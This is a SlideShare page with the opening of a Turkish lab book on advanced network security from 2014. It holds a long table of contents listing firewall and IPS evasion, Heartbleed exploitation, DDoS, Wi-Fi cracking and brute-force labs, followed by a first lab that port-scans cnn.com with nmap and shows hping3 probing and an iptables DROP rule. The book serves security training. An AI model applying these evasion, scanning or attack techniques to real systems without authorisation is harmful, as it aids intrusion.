Ce diaporama a bien été signalé.
Nous utilisons votre profil LinkedIn et vos données d’activité pour vous proposer des publicités personnalisées et pertinentes. Vous pouvez changer vos préférences de publicités à tout moment.

İleri Seviye Ağ Güvenliği Lab Kitabı

İleri Seviye Ağ Güvenliği Lab Kitabı Osman Cihat IŞIK, Ender AKBAŞ, Huzeyfe ÖNAL tarafından hazırlanmıştır.

  • Identifiez-vous pour voir les commentaires

İleri Seviye Ağ Güvenliği Lab Kitabı

  1. 1. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI Yazarlar: Osman Cihat IŞIK, Ender AKBAŞ, Huzeyfe ÖNAL Katkıda Bulunanlar: Ömer ALBAYRAK, Mehmet ATAŞ, Mesut TÜRK Baskı: 1.Baskı Eylül, 2014
  2. 2. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity BGA Bilgi Güvenliği A.Ş. Hakkında BGA Bilgi Güvenliği A.Ş. 2008 yılından bu yana siber güvenlik alanında faaliyet göstermektedir. Ülkemizdeki bilgi güvenliği sektörüne profesyonel anlamda destek olmak amacı ile kurulan BGA Bilgi Güvenliği,stratejik siber güvenlikdanışmanlığı ve güvenlik eğitimleri konularında kurumlara hizmet vermektedir. Uluslararası geçerliliğe sahip sertifikalı 50 kişilikteknik ekibi ile,faaliyetlerini Ankara ve İstanbul ve USA’da sürdüren BGA Bilgi Güvenliği’ninilgi alanlarını “Sızma Testleri, Güvenlik Denetimi, SOME, SOC Danışmanlığı, Açık Kaynak Siber Güvenlik Çözümleri, Büyük Veri Güvenlik Analizi ve Yeni Nesil Güvenlik Çözümleri”oluşturmaktadır. Gerçekleştirdiği başarılı danışmanlık projeleri ve eğitimlerle sektörde saygın bir yer edinen BGA Bilgi Güvenliği, kurulduğu günden bugüne alanında lider finans, enerji, telekom ve kamu kuruluşlarına 1.000'den fazlaeğitimve danışmanlıkprojelerigerçekleştirmiştir. BGA Bilgi Güvenliği, kurulduğu 2008 yılından beri ülkemizde bilgi güvenliği konusundaki bilgi ve paylaşımlarınartmasıamacı ile güvenlike-postalisteleri oluşturulması,seminerler,güvenliketkinlikleri düzenlenmesi, üniversite öğrencilerine kariyer ve bilgi sağlamak için siber güvenlik kampları düzenlenmesi ve sosyal sorumlulukprojeleri gibi birçokkonuda gönüllüfaaliyetlerde bulunmuştur. BGA Bilgi Güvenliği AKADEMİSİ Hakkında BGA Bilgi GüvenliğiA.Ş.’nineğitimve sosyalsorumlulukmarkasıolarakçalışanBilgi Güvenliği AKADEMİSİ,sibergüvenlikkonusundaticari,gönüllüeğitimlerindüzenlenmesi ve sibergüvenlik farkındalığını arttırıcı gönüllüfaaliyetleri yürütülmesindensorumludur.Bilgi Güvenliği AKADEMİSİ markasıylabugüne kadar“SiberGüvenlik Kampları”,“SiberGüvenlikStaj Okulu”,“SiberGüvenlikAr- Ge DestekBursu”, ”Ethical Hackingyarışmaları” ve “SiberGüvenlikKütüphanesi” gibi birçok gönüllü faaliyetindestekleyici olmuştur.
  3. 3. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity İçindekiler 1. GÜVENLİK DUVARI(FİREWALL)...............................................................................................11 1.1. GÜVENLİK DUVARI KEŞİF ÇALIŞMASI...............................................................................11 1.1.1. 1.Adım...................................................................................................................11 1.1.2. 2.Adım...................................................................................................................11 1.1.3. 3.Adım...................................................................................................................11 GÜVENLİK DUVARI ENGELLEME YÖNTEMLERİ ............................................................................12 1.2. GÜVENLİK DUVARI KURALLARININ KEŞFEDİLMESİ............................................................14 1.3. FARKLIPORTTA ÇALIŞTIRMA YÖNTEMİYLE KLASİKGÜVENLİKDUVARI ATLATMA YÖNTEMLERİ............................................................................................................................16 1.3.1. SSHuttle ile güvelik duvarı atlatma..........................................................................16 1.4. GÜVENLİK DUVARI KURALLARININ DENETİMDEN GEÇİRİLMESİ ........................................18 1.5. PORT BAĞIMSIZ PROTOKOL TANIMA(PİPİ) UYGULAMASI.................................................21 1.6. LİNUX IPTABLESEKLENTİLERİ KULLANARAKPAKETİÇİNDEGEÇEN KELİMEYE GÖRE ENGELLEME .............................................................................................................................23 1.7. LINUX L7 FİLTER KULLANARAK PORT BAĞIMSIZ PROTOKOL/UYGULAMA ENGELLEME ........24 1.9. KATMANLI GÜVENLİK MİMARİSİ NEDİR?.........................................................................27 1.9.1. En dış yönlendirici cihaz..........................................................................................27 1.9.2. Güvenlik Duvarı Bileşeni.........................................................................................27 1.9.3. Ağ tabanlı saldırı tespit ve engelleme sistemi...........................................................27 1.9.4. Anormallik sezinleme sistemi..................................................................................28 1.9.5. Antivirüs Sistemi....................................................................................................28 1.9.6. Konak tabanlı saldırı engelleme sistemi(HIPS) ..........................................................28 1.10. FTP VE GÜVENLİK DUVARLARI........................................................................................28 1.10.1. FTP Protokolü ........................................................................................................28 1.10.2. FTP Çeşitleri...........................................................................................................28 1.10.3. Aktif FTP................................................................................................................28 1.10.4. Pasif FTP................................................................................................................30 1.10.5. Güvenlik Duvarlarında Yaşanabilecek FTP Sorunları..................................................32 1.10.6. Aktif FTP ve Güvenlik Duvarı...................................................................................32 1.10.7. Pasif FTP ve Güvenlik Duvarı...................................................................................33 2. WAF(WEB APPLİCATİON FİREWALL).......................................................................................33 2.1. ENCODİNG/ŞİFRELİ TRAFİK KULLANARAK IPS SİSTEMLERİ ATLATMA.................................33 2.2. SSLDUMP KULLANARAK HTTPS TRAFİĞİ ANALİZİ..............................................................35 2.3. OPENSSL HEARTBLEED ZAFİYETİ İSTİSMARI.....................................................................42 2.3.1. Nmap NSE Kullanarak HeartBleed Zafiyetini Tespit Etme ..........................................43
  4. 4. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 2.3.2. Nessusile ‘heartbleed’ Taraması Gerçekleştirme .....................................................44 2.3.3. Metasploitile Heartbleed Testi...............................................................................46 2.3.4. Heartbleed İstismar Scripti......................................................................................47 2.4. SSLSTRIP.......................................................................................................................48 2.4.1. HTTPS’e Güveniniz Tam mı?....................................................................................48 2.4.2. Katmanlı Güvenlik Anlayışı......................................................................................48 2.4.3. HTTPS Güvensiz Midir?...........................................................................................48 2.4.4. SSL’in HTTP ile İmtihanı..........................................................................................50 2.4.5. Göz Yanılgısıyla HTTPS Nasıl Devre Dışı Bırakılır? ......................................................50 2.4.6. SSLStripNasıl Çalışır?..............................................................................................50 2.4.7. Nasıl Korunulur? ....................................................................................................51 2.5. HTTP PARAMETER POLLUTİON KULLANARAK WAF ATLATMA...........................................52 3. KABLOSUZ AĞLARDA(WLAN) GÜVENLİK.................................................................................53 3.1. LINUX SİSTEMLERDE KABLOSUZ AĞLARA BAĞLANMA (WEP/WPA)...................................53 3.1.1. WEP key kullananAP’e bağlanma............................................................................55 3.2. GÖRÜNMEZ (SSID GİZLİ) KABLOSUZ AĞLARIN KEŞFİ.........................................................57 3.3. KABLOSUZ AĞLARDA PAKET ENJEKSİYONU (PACKET INJECTION).......................................60 3.3.1. Ping.......................................................................................................................60 3.3.2. Deauthentication(DoS)...........................................................................................61 3.3.3. Mitm.....................................................................................................................62 3.4. WIFI AĞA BAĞLI İSTEMCİLERİN TESPİTİVE BİLGİ EDİNME.................................................63 3.4.1. Bağlı değilken.........................................................................................................63 3.4.2. Bağlı iken...............................................................................................................63 3.5. KABLOSUZ AĞLARDA TRAFİK İZLEME(SNIFFING)..............................................................65 3.6. KABLOSUZ AĞ TRAFIK ANALİZİ (WIRESHARK KULLANARAK)..............................................66 3.7. KABLOSUZ AĞ TRAFİK ANALİZİ (KISMET KULLANARAK) ....................................................70 3.8. İSTEMCİ BİLGİSAYARLARIN BİRBİRİNİ GÖRMEMESİ İÇİN GEREKLİ AYARLAR .......................72 3.9. WIFI AĞLARDA TCP/IP SALDIRILARI(MITMV.S)...............................................................72 3.10. KİMLİK DOĞRULAMA İÇİN MAC ADRES FİLTRELEMESİNİ AŞMA.........................................75 3.11. HALKA AÇIK KABLOSUZ AĞLARDA KİMLİK ÇALMA SALDIRILARI.........................................77 3.12. WPS DESTEKLİ AĞLARA YÖNELİK PIN BELİRLEME VE PAROLA KIRMA SALDIRILARI..............83 3.13. SAHTE AP ERİŞİMİ KURMA VE İSTEMCİLERİN TRAFİĞİNİ ÜZERİNDEN GEÇİRME..................85 3.14. KARMETASPLOIT ÖRNEKLERİ..........................................................................................87 4. DDOS ENGELLEME SİSTEMLERİ ..............................................................................................92 4.1. SYN FLOOD DDOS SALDIRISI GERÇEKLEŞTİRME VE ENGELLEME ........................................92 4.1.1. SynFlood Nasıl Anlaşılır?.........................................................................................92
  5. 5. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 4.1.2. Saldırıda Kullanılan IPAdresleri...............................................................................94 4.1.3. Önlem Alma...........................................................................................................96 4.1.4. Timeout değerlerini düşürme..................................................................................96 4.1.5. Iptables ile SYN Flood Koruması..............................................................................96 4.2. TCP CONNECTİON FLOOD DDOS SALDIRILARI..................................................................97 4.3. SAHTE ALAN ADLARI KULLANARAK DNS FLOOD DDOS SALDIRISI GERÇEKLEŞTİRME ...........98 4.4. DEĞİŞİK TÜRLERDE DDOS SALDIRI ANALİZİ....................................................................100 4.4.1. DDoS Saldırı Tipi Belirleme....................................................................................100 4.4.2. SYN Flood Saldırısı Analizi.....................................................................................103 4.4.3. ACK FloodAnalizi .................................................................................................104 4.4.4. FIN FloodAnalizi ..................................................................................................104 4.5. LİNUX ARAÇLARI KULLANARAK DDOS SALDIRI ANALİZİ...................................................104 4.5.1. Amaç: Aliasve bashscriptingile Synfloodve Httpgetfloodsaldırılarınıntespit edilmesi 104 4.5.2. Program Kurulumu:..............................................................................................104 4.5.3. Browser ile gezinme:............................................................................................105 4.5.4. SYN Flood Tesbiti:................................................................................................106 4.5.5. Syn Trafik Kaydı:...................................................................................................106 4.5.6. HTTP GET Flood Tesbiti:........................................................................................108 4.6. LİNUX IPTABLES KULLANARAK DOS/DDOS SALDIRILARINI ENGELLEME............................109 4.6.5. 1. kural :..............................................................................................................109 4.6.6. 2. kural................................................................................................................110 4.7. HPING/NPING/MZ ARAÇLARI KULLANARAK DDOS TESTLERİ...........................................110 4.7.5. Hping Çalışma Modları..........................................................................................110 4.7.6. Hping ile paket gönderimi.....................................................................................111 4.7.7. Tcpdump Çıktısı....................................................................................................111 4.7.8. TCP’deki bayraklar ve hping parametreleri.............................................................111 4.7.9. Hping tarafından oluşturulan paket detayı.............................................................112 4.7.10. Hping çıktısını yorumlama.....................................................................................112 4.7.11. Hping kullanımında port belirtimi.........................................................................113 4.7.12. Hping ile spoof edilmiş paketler oluşturma(IP Spoofing) .........................................113 4.7.13. Rastgele Spoof edilmiş ip adreslerinden paket gönderme .......................................114 4.7.14. Nping Kullanarak TCP Connection Flood DoS/DDoS Testleri ....................................114 4.7.15. mz ile DNS paketi oluşturma.................................................................................115 4.8. AMPLIFICATION DDOS SALDIRISI GERÇEKLEŞTİRME.......................................................118 4.8.5. Adım Adım DNS Amplification DoS Saldırısı............................................................118
  6. 6. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 4.8.6. Örnek DNS Amplified DoS Saldırısı.........................................................................120 4.9. NTP ÜZERİNDEN AMPLIFICATION DOS SALDIRISI GERÇEKLEŞTİRME................................120 4.9.1. Amplification DDoS Saldırıları...............................................................................120 4.9.2. NTP üzerinden gerçekleştirilen amplification ddos saldırıları...................................121 4.9.3. NTP Monlist özelliği ve istismarı............................................................................122 4.9.4. Monlist özelliği aktif sistemlerin tespiti..................................................................123 4.9.5. Korunma Yöntemleri............................................................................................124 4.10. DDOS SALDIRILARINDA SPOOFEDİLMİŞIPADRESLERİ VE İSTATİSTİKSELDDOSANALİZ ARACI: AGURI.........................................................................................................................124 4.11. LINUX SİSTEMLERDE SYNFLOOD DDOS SALDIRILARINA KARŞI ÖNLEMALMA...................127 4.11.5. SynFlood Nasıl Anlaşılır?.......................................................................................127 4.11.6. Saldırıda Hangi IPAdresleri Kullanılıyor..................................................................129 4.11.7. Önlem Alma.........................................................................................................131 4.11.8. Timeout değerlerini düşürme................................................................................131 4.11.9. Iptables ile SYN Flood Koruması............................................................................132 4.12. WEB SUNUCULARA DDOS SALDIRILARI, NETSTAT VE TCP OTURUMDETAYLARİ ...............132 4.12.5. Web Sunucunuzun bir DDOS saldırısına karşı olduğunu nasıl anlarsınız?..................132 4.12.6. Nasıl İncelenir? ....................................................................................................132 4.12.7. TCP bağlantılarında netstat aracılığı ile görülebilecek durum senaryoları: ................133 4.12.4. TCP Oturumlarında bağlantı sonlandırma..............................................................133 4.12.5. Bağlantı sonlanması esnasında oluşan durumlar: ...................................................134 5. SALDIRI TESPİT VE ENGELLEME SİSTEMLERİ (IDS/IPS)............................................................136 5.1. IP TTL DEĞERLERİNİ KULLANARAK FIREWALL/IPS KEŞFİ..................................................136 5.1.1. Ngrepile Ag Trafigi Analizi....................................................................................138 5.1.1.1. Ngrep...........................................................................................................138 5.1.1.2. Ngrepile Neler yapabiliriz?............................................................................138 5.1.2. SMTP Trafiği üzerinde ngrep kullanımı...................................................................139 5.1.3. HTTP trafiğini Ngrep ile izleme..............................................................................140 5.1.4. Http portundan yapılan SSH bağlantılarını izleme...................................................140 5.1.5. Http Protokolü üzerinden başka protokollerin kullanılması.....................................141 5.1.6. Ngrep Çıktılarını düzenlemek................................................................................142 5.1.6.1. Kaydedilmiş trafik üzerinde veri arama...........................................................142 5.1.6.2. User/Password bilgilerini alma.......................................................................143 5.1.6.3. Ngrepile şifreli protokollerin İzlenmesi ..........................................................143 5.1.6.4. Parçalanmış Paketler ve Ngrep ......................................................................143 5.2. IDS, IPS, ACTIVE RESPONSE, INLINE TANİMLAR..............................................................144
  7. 7. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 5.3. NGREP KULLANARAK DPI ÖRNEKLERİ............................................................................145 5.3.1. Ngrepile AğAnalizi ..............................................................................................145 5.3.2. Ngrepile Neler Yapılabilir?....................................................................................145 5.3.3. SMTP Trafiği üzerinde ngrep kullanımı...................................................................146 5.3.4. HTTP trafiğini Ngrep ile izleme..............................................................................147 5.3.5. Http portundan yapılan SSH bağlantıların izlenilmesi..............................................147 5.3.6. Http Protokolü üzerinden başka protokollerin kullanılması.....................................148 5.3.7. Ngrep Çıktılarını düzenlemek................................................................................148 5.4. KAYDEDİLMİŞ TRAFİK ÜZERİNDE VERİ ARAMA...............................................................149 5.4.1. User/Password bilgilerini alma..............................................................................149 5.4.2. Ngrepile şifreli protokollerin İzlenmesi..................................................................150 5.4.3. Parçalanmış Paketler ve Ngrep..............................................................................150 5.4.4. Ağ Trafiği İçerisinde Özel Kelimelerin Yakalanması..................................................150 5.5. KFSENSOR KULLANARAK TUZAK SİSTEMKURULUMU.....................................................153 5.6. HONEYD KULLANARAK TUZAK SİSTEMUYGULAMASI.....................................................157 5.7. PAKET PARÇALAMA SALDIRILARIVE IDS/IPS SİSTEMLER.................................................159 5.7.1. Fragroute ile Parçalanmış paket çalışmaları ...........................................................159 5.8. SNORT KULLANARAK WEB TABANLI SALDIRILARIN ENGELLENMESİ................................161 5.9. ŞİFRELİ BAĞLANTI KULLANARAK IPS ATLATMA TEKNİĞİ .................................................163 5.10. DNS TÜNELLEME .........................................................................................................164 5.10.1. DNS Tunnel..........................................................................................................164 5.10.2. Tcp-Over-Dns Çalışma Prensibi..............................................................................165 5.10.3. Tcp-Over-Dns Server Yapılandırması......................................................................166 5.10.4. Tcp-Over-Dns Client Yapılandırması.......................................................................166 5.11. SSH YEREL PORT YÖNLENDİRME VE UZAK PORT YÖNLENDİRME.....................................168 5.11.1. Yerel Port Yönlendirme.........................................................................................168 5.11.2. Uzak Port Yönlendirme.........................................................................................169 5.12. SSH ÜZERİNDEN VPN KURULUMU ................................................................................169 5.13. ICMP TUNELLİNG (ICMP ÜZERİNDEN TCP/HTTP PAKETLERİ GEÇİRME) ............................171 5.13.1. ptunnel sunucu kurulumu.....................................................................................171 5.13.2. Bağlantı Kurulumu ve tünelleme...........................................................................172 5.14. WAF KEŞİF ÇALIŞMASI..................................................................................................172 5.15. PARÇALANMIŞ PAKETLER KULLANARAK L7 FIREWALL ATLATMA ÇALIŞMASI....................175 5.15.1. Parçalanmış Paketler ve Güvenlik Duvarları ...........................................................175 5.15.2. OpenBSD PF ve parçalanmış paketler....................................................................175 5.15.3. Parçalanmış Paketler ve Saldırı Tespit Sistemleri....................................................175
  8. 8. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 5.16. PROXY SİSTEMLER ÜZERİNDEN PORT TARAMA /TOR)....................................................177 5.16.1. Proxy üzerinden hangi tür port taramalar mümkündür?.........................................178 5.16.2. Normal bir bağlantı..............................................................................................178 5.16.3. Araya Proxy girdikten sonraki bağlantı durumu......................................................178 5.16.4. Tsocks +Nmap ve TOR üzerinden yapılan tarama ...................................................180 5.16.5. Ve Tarama yapılan sunucudaki loglar.....................................................................180 5.17. TUZAK SİSTEMLER KULLANARAK PORT TARAMA, IPS ŞAŞIRTMA.....................................181 5.18. ŞİFRELİ PROTOKOLLER KULLANARAK IPS ATLATMA TEKNİĞİ...........................................183 5.19. SNORT KURALLARININ TESTİ ........................................................................................184 5.20. FTESTER İLE FİREWALL VE IDS TESTLERİ.........................................................................186 5.20.1. Çalışma yapısı......................................................................................................186 5.21. PENETRASYON TESTLERİNDE IPS KEŞFİ..........................................................................188 5.22. KAPALI PORT ÜZERİNDEN BİLGİ TRANSFERİ...................................................................190 5.22.5. Kapalı porta veri göndererek Komut Çalıstırma ......................................................193 5.23. ZEBEDEE İLE UDP BAĞLANTILARINI ŞİFRELEME..............................................................194 5.23.1. FreeBSD için Zebedee Kurulumu ...........................................................................194 6. TCP/IPAĞLARDA GİZLİ KANALLAR VE TÜNELLEME ................................................................197 6.1. WEBTUNNEL ÇALIŞMA MANTIĞI ..................................................................................197 6.1.1. Tunel’i aktif etmek için kullandığım komut:............................................................198 6.1.2. Tunel Güvenliği....................................................................................................199 6.2. SSH TÜNELLEME YÖNTEMİ İLE İÇERİK FİLTRELEME/FIREWALL ATLATMA.........................201 6.3. DNS Tünelleme Yöntemi ile İçerik Filtreleme/Firewall Atlatma.......................................202 6.3.1. DNS Tünelleme ....................................................................................................202 6.3.2. DNS Servisi Nasıl Çalışır?.......................................................................................202 6.3.3. DNS Tünelleme Nasıl Çalışır?.................................................................................202 6.3.4. DNS Tünelleme Araçları........................................................................................204 6.3.5. DNS Tünelleme Uygulaması..................................................................................205 6.4. ICMP Tunelling(ICMP Üzerinden TCP/HTTP Paketleri Geçirme)......................................207 6.5. TOR Sistemi Kullanarak İnternette Gizlilik......................................................................207 6.5.1. Kali Linux üzerine TOR kurulumu...........................................................................207 6.6. ULTRASURF VE TOR KULLANARAK İÇERİK FİLTRELEME ATLATMA....................................209 6.7. ULTRASURF VE BENZERİ ANTİSANSÜR YAZILIMLARININ ENGELLENMESİ .........................213 6.8. PORT KNOCKING YÖNTEMİ İLE PORTLARI GÜVENLİ AÇMA .............................................214 6.8.1. Kurulum..............................................................................................................214 6.8.2. Çalışma Mantığı ...................................................................................................215 6.8.3. Sunucu Kullanımı..................................................................................................215
  9. 9. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 6.8.4. İstemci Kullanımı..................................................................................................216 6.8.5. Yapılandırma Dosyası...........................................................................................216 6.8.6. Sunucu Yazılımın Çalışma Modları.........................................................................219 6.8.7. Sunucunun Debug Modda Çalıştırılması.................................................................219 6.9. TÜNNEL-TOR ÜZERİNDEN PORT TARAMA VE GÜVENLİK TARAMALARI............................222 6.10. ICMP PROTOKOLÜNÜN KÖTÜYE KULLANIMI .................................................................225 6.11. TOR NETWORKU ÜZERİNDEN PORT TARAMA................................................................229 6.12. TCP/IPAĞLARDA SNIFFER KULLANIMI...........................................................................234 6.12.1. Trafik Analizi/Sniffing ...........................................................................................234 6.12.1.1. Pasif Sniffing.................................................................................................234 6.12.1.2. Aktif Sniffing.................................................................................................234 6.12.2. Promiscious Mode Kavramı?.................................................................................234 6.12.3. Sniffer Yerleşimi...................................................................................................236 6.12.4. HUB/TAP Kullanılan Ortamlar İçin Sniffer Yerleşimi ................................................236 6.12.5. Switch Kullanılan Ortamlarda Sniffer Yerleşimi.......................................................236 6.12.6. Sniffing Amaçlı Araçlar..........................................................................................237 6.12.7. Şifresiz Protokoller...............................................................................................237 6.12.8. Telnet Protokolü..................................................................................................238 6.12.9. Simple Mail Transfer Protocol...............................................................................239 6.12.10. Şifrelememenin Getirisi ve Götürüleri................................................................239 6.12.11. HTTP üzerinden www.verisign.com adresine ulaşım;..........................................239 6.12.12. HTTPS üzerinden www.verisign.com adresine ulaşım; ........................................241 6.13. NETCAT İLE AĞ OYUNLARI............................................................................................242 6.13.1. Windowsiçin Netcat ............................................................................................242 6.13.2. Temel kullanımı....................................................................................................242 6.13.3. İstemci-sunucu yapısında çalışmasına örnek ..........................................................242 6.13.4. Netcat’i port tarama aracı olarak kullanma............................................................243 6.13.5. Netcat’i Sistem shell’i olarak kullandırtma.............................................................244 6.13.6. Netcat ile Dosya Transferi.....................................................................................244 6.13.7. Güvenli Dosya Transferi........................................................................................245 6.13.8. Diskimajlarını yerel ağda Yedekleme.....................................................................245 6.13.9. Proxy üzerinden SSH Kullanımı..............................................................................246 6.13.10. Telnetistemcisi olarak Netcat ...........................................................................247 7. VPN VE ŞİFRELEME TEKNOLOJİLER VE SALDIRI YÖNTEMLERİ..................................................248 7.1. ENCODİNG, HASH, ŞİFRELEME KAVRAMLARIVE FARKLARI.............................................248 7.2. ENCODING(KODLAMA) ÇEŞİTLERİ.................................................................................249
  10. 10. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity 7.3. ENCODING/ENCRYPTION/HASH TİPİNİN BELİRLENMESİ VE ÇÖZÜMLENMESİ...................250 7.4. ŞİFRELEME VE HASH TİPİNİN BELİRLENMESİ..................................................................251 7.5. İNTERNET ÜZERİNDEN HASH ÇIKTISININ ARAŞTIRILMASI................................................255 7.6. PAROLA KIRMA DENEMELERİNDE CPU VE GPU FARKLARI GÖSTERİMİ.............................258 7.7. WINDOWS PAROLA KIRMA ARAÇ VE YÖNTEMLERİ ........................................................260 7.7.1. Cain & Abel..........................................................................................................260 7.7.2. John The Ripper...................................................................................................262 7.8. LINUX SİSTEMLER İÇİN PAROLA KIRMA ARAÇVE YÖNTEMLERİ .......................................262 7.8.1. Hydra..................................................................................................................263 7.8.2. Medusa...............................................................................................................263 7.8.3. John The Ripper...................................................................................................264 7.9. MOBİL SİSTEMLER İÇİN PAROLA KIRMA ARAÇ VE YÖNTEMLERİ ......................................264 7.10. PAROLA GÜVENLİĞİNDE TUZLAMANIN ÖNEMİ VE TUZLU PAROLA KIRMA YÖNTEMLERİ ..266 7.11. TRUECRYPT KULLANARAK DOSYA/DİSK ŞİFRELEME........................................................268 7.11.1. TrueCypt Disk/Dosya Şifreleme.............................................................................268 7.12. DİSKŞİFRELEME(TRUECRYPT) YAZILIMLARINA YÖNELİKKABA KUVVETPAROLA DENEME SALDIRILARI ...........................................................................................................................271 7.13. SSH TRAFİĞİNDE ARAYA GİRME, VERİ OKUMA VE DEĞİŞTİRME ......................................273 7.14. IPSEC VPN KURULUMU VE GÜVENLİK UYGULAMALARI ..................................................276 7.15. OPENSSL KULLANARAK SSL/TLS UYGULAMALARI...........................................................280 7.15.1. Sertifika Otoritesi.................................................................................................280 7.15.2. Özgür bir SSL sürümü: OpenSSL.............................................................................280 7.15.3. OpenSSL ile yardım alma. .....................................................................................281 7.16. KENDİ SERTİFİKA OTORİTE(CA)MIZI OLUŞTURMAK ........................................................283 7.17. CISCO TYPE 7 VE TYPE 5 PAROLALARININ KIRILMASI......................................................285 7.18. MICROSOFT OWA BRUTE FORCE..................................................................................288 7.19. BASIC AUTHENTICATION PAROLA DENEMELERİ.............................................................291 7.19.1. Bruteforce Çalışmalarında Medusa Kullanımı.........................................................291 7.19.2. Bruteforce Çalışmalarında Hydra Kullanımı............................................................293 7.20. MICROSOFT WINDOWS RDP PAROLA DENEMELERİ .......................................................293 7.21. WINDOWS SMB BRUTE FORCE SALDIRISI......................................................................297 7.22. OPENSSH İLE VPN KURULUMU .....................................................................................299 7.23. CAIN& ABEL KULLANARAK SSL MITMSALDIRISI.............................................................303
  11. 11. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity SINIR GÜVENLİĞİ BİLEŞENLERİ 1. GÜVENLİK DUVARI(FİREWALL) 1.1. GÜVENLİK DUVARI KEŞİF ÇALIŞMASI Güvenlik duvarı keşif çalışmasını 3 aşamada inceleyebiliriz. 1.1.1. 1.Adım Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili portuna SYN paketi gönderir. Eğer servis çalışıyor ve hizmet veriyor ise karşılık olarak hedef sistemistemciye SYN+ACK paketi ile cevap döner. Bu şekilde servisin açık olduğu görülebilir. root@kali:~# nmap -sS -p80 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.26) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.25 rDNS record for 157.166.226.26: www.cnn.com PORT STATE SERVICE 80/tcp open http 1.1.2. 2.Adım Normal bir TCP bağlantısında iletişime geçmek isteyen istemci taraf hedef sistemin ilgili portuna SYN paketi gönderir. Eğer servis kapalı ve hizmet vermiyor ise karşılık olarak hedef sistemistemciye RST paketi ile cevap döner. Bu şekilde servisin kapalı olduğu görülebilir. root@kali:~# nmap -sS -p443 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.26) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.25 rDNS record for 157.166.226.26: www.cnn.com PORT STATE SERVICE 443/tcp closed https 1.1.3. 3.Adım Bağlantı kurmak isteyen taraf hedef sistemile iletişime geçtiği zaman gönderdiği SYN paketine cevap alamıyorsa, yani hedef sistemistemci tarafın SYN paketine SYN+ACK ya da RST gibi bir cevap dönmüyorsa hedef sistemin önünde bir güvenlik cihazının olduğundan söz edilebilir. Bu durumda iletişime geçilmek istenen port filtered olarak görünecektir ve erişilemeyecektir.
  12. 12. [İLERİ SEVİYE AĞ GÜVENLİĞİ LAB KİTABI] BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity root@kali:~# nmap -sS -p22 cnn.com Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-07 05:25 EDT Nmap scan report for cnn.com (157.166.226.25) Host is up (0.18s latency). Other addresses for cnn.com (not scanned): 157.166.226.26 rDNS record for 157.166.226.25: www.cnn.com PORT STATE SERVICE 22/tcp filtered SSH GÜVENLİK DUVARI ENGELLEMEYÖNTEMLERİ Linux sistemlerde kullanılan iptables güvenlik duvarı üzerinde, paket engelleme yöntemlerini bilmek için aşağıdaki kavramların bilinmesi gerekmektedir. Iptables komutunun kullanımda temel kavramlar şunlardır: INPUT: Bilgisayara gelen paketler için uygulanacak kuralları içeren zincirdir. OUTPUT: Bilgisayardan dışarı giden paketler için uygulanacak kuralları içeren zincirdir. FORWARD: Bilgisayardan geçen yönlendirilecek paketler için uygulanacak kuralları içeren zincirdir. ACCEPT: Paket kabul edilir. DROP: Paket engellenir ve paketi gönderen kişi paketin engellendiğinden haberdar edilmez. REJECT: Paketi engeller fakat paketi gönderen kişiye paketin gönderilemediği haber edilir. İlk olarak hedef sistemin 80 portuna SYN paketi göndererek normal trafiğe bakılabilir. root@kali:~# hping3 -p 80 -S 6.6.6.63 HPING 6.6.6.63 (eth0 6.6.6.63): S set, 40 headers + 0 data bytes len=46 ip=6.6.6.63 ttl=63 DF id=53674 sport=80 flags=RA seq=0 win=0 rtt=1.3 ms len=46 ip=6.6.6.63 ttl=63 DF id=53675 sport=80 flags=RA seq=1 win=0 rtt=7.6 ms len=46 ip=6.6.6.63 ttl=63 DF id=53676 sport=80 flags=RA seq=2 win=0 rtt=1.6 ms len=46 ip=6.6.6.63 ttl=63 DF id=53677 sport=80 flags=RA seq=3 win=0 rtt=5.1 ms ^C --- 6.6.6.63 hping statistic --- 4 packets transmitted, 4 packets received, 0% packet loss round-trip min/avg/max = 1.3/3.9/7.6 ms Şimdi DROP yöntemi ile paket engellemeye bakılacaktır. Korumak istenilen sistemin 80 portuna gelen paketleri iptables kuralı ile engellemek için yazılması gereken kural aşağıdaki gibidir. root@kali:~#iptables -A INPUT -p tcp --dport 80 -i eth0 -j DROP
